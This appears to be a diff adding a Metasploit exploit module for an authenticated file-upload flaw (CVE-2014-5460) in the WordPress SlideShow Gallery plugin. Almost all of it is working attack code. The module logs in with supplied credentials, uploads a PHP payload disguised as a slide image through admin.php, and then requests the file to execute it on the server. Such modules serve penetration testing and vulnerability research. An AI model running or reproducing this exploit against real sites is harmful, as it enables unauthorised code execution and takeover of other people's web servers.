|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::HTTP::Wordpress |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload', |
| 18 | + 'Description' => %q{ |
| 19 | + The Wordpress SlideShow Gallery plugin contains an authenticated file upload |
| 20 | + vulnerability. We can upload arbitrary files to the upload folder, because |
| 21 | + the plugin also uses it's own file upload mechanism instead of the wordpress |
| 22 | + api it's possible to upload any file type. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Jesus Ramirez Pichardo', # Vulnerability discovery |
| 27 | + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CVE', '2014-5460'], |
| 33 | + ['EDB', '34681'], |
| 34 | + ['WPVDB', '7532'] |
| 35 | + ], |
| 36 | + 'Privileged' => false, |
| 37 | + 'Platform' => ['php'], |
| 38 | + 'Arch' => ARCH_PHP, |
| 39 | + 'Targets' => [['WP SlideShow Gallery 1.4.6', {}]], |
| 40 | + 'DefaultTarget' => 0, |
| 41 | + 'DisclosureDate' => 'Aug 28 2014')) |
| 42 | + |
| 43 | + register_options( |
| 44 | + [ |
| 45 | + OptString.new('WP_USER', [true, 'A valid username', nil]), |
| 46 | + OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) |
| 47 | + ], self.class) |
| 48 | + end |
| 49 | + |
| 50 | + def user |
| 51 | + datastore['WP_USER'] |
| 52 | + end |
| 53 | + |
| 54 | + def password |
| 55 | + datastore['WP_PASSWORD'] |
| 56 | + end |
| 57 | + |
| 58 | + def check |
| 59 | + check_plugin_version_from_readme('slideshow-gallery', '1.4.7') |
| 60 | + end |
| 61 | + |
| 62 | + def exploit |
| 63 | + print_status("#{peer} - Trying to login as #{user}") |
| 64 | + cookie = wordpress_login(user, password) |
| 65 | + if cookie.nil? |
| 66 | + print_error("#{peer} - Unable to login as #{user}") |
| 67 | + return |
| 68 | + end |
| 69 | + |
| 70 | + print_status("#{peer} - Trying to upload payload") |
| 71 | + filename = "#{rand_text_alpha_lower(8)}.php" |
| 72 | + |
| 73 | + data = Rex::MIME::Message.new |
| 74 | + data.add_part("", nil, nil, 'form-data; name="Slide[id]"') |
| 75 | + data.add_part("", nil, nil, 'form-data; name="Slide[link]"') |
| 76 | + data.add_part("", nil, nil, 'form-data; name="Slide[image_url]"') |
| 77 | + data.add_part('both', nil, nil, 'form-data; name="Slide[showinfo]"') |
| 78 | + data.add_part('randonx', nil, nil, 'form-data; name="Slide[description]"') |
| 79 | + data.add_part('file', nil, nil, 'form-data; name="Slide[type]"') |
| 80 | + data.add_part('randonx', nil, nil, 'form-data; name="Slide[title]"') |
| 81 | + data.add_part('70', nil, nil, 'form-data; name="Slide[iopacity]"') |
| 82 | + data.add_part('N', nil, nil, 'form-data; name="Slide[uselink]"') |
| 83 | + data.add_part("", nil, nil, 'form-data; name="Slide[order]"') |
| 84 | + data.add_part('self', nil, nil, 'form-data; name="Slide[linktarget]"') |
| 85 | + data.add_part(payload.encoded, 'application/x-httpd-php', nil, "form-data; name=\"image_file\"; filename=\"#{filename}\"") |
| 86 | + post_data = data.to_s |
| 87 | + |
| 88 | + print_status("#{peer} - Uploading payload") |
| 89 | + res = send_request_cgi({ |
| 90 | + 'method' => 'POST', |
| 91 | + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), |
| 92 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 93 | + 'vars_get' => { |
| 94 | + 'page' => 'slideshow-slides', |
| 95 | + 'method' => 'save' |
| 96 | + }, |
| 97 | + 'data' => post_data, |
| 98 | + 'cookie' => cookie |
| 99 | + }) |
| 100 | + |
| 101 | + if res |
| 102 | + if res.code == 200 |
| 103 | + register_files_for_cleanup(filename) |
| 104 | + else |
| 105 | + fail_with(Failure::Unknown, "#{peer} - You do not have sufficient permissions to access this page.") |
| 106 | + end |
| 107 | + else |
| 108 | + fail_with(Failure::Unknown, 'Server did not respond in an expected way') |
| 109 | + end |
| 110 | + |
| 111 | + print_status("#{peer} - Calling uploaded file #{filename}") |
| 112 | + send_request_cgi( |
| 113 | + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'slideshow-gallery', filename) |
| 114 | + ) |
| 115 | + end |
| 116 | +end |
0 commit comments